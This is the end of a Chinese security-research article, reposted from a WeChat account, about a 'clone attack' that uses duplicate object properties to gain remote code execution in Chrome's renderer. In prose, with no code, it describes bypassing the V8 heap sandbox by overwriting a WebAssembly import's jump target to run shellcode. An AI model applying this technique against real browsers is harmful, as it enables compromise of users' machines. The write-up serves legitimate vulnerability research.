由于 v8 最近实现了 v8 堆沙箱,因此在 v8 堆中获取任意内存读写权限不足以实现代码执行。为了实现代码执行,我覆盖了存储在 v8 堆中的 WebAssembly 导入函数的跳转目标。通过将跳转目标重写为 shell 代码的位置,我可以通过调用 WebAssembly 模块中的导入函数来执行任意代码。

原文始发于微信公众号(OSINT研习社):克隆攻击:利用重复的对象属性在 Chrome 渲染器中获取 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月12日18:53:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   克隆攻击:利用重复的对象属性在 Chrome 渲染器中获取 RCEhttp://cn-sec.com/archives/2944759.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息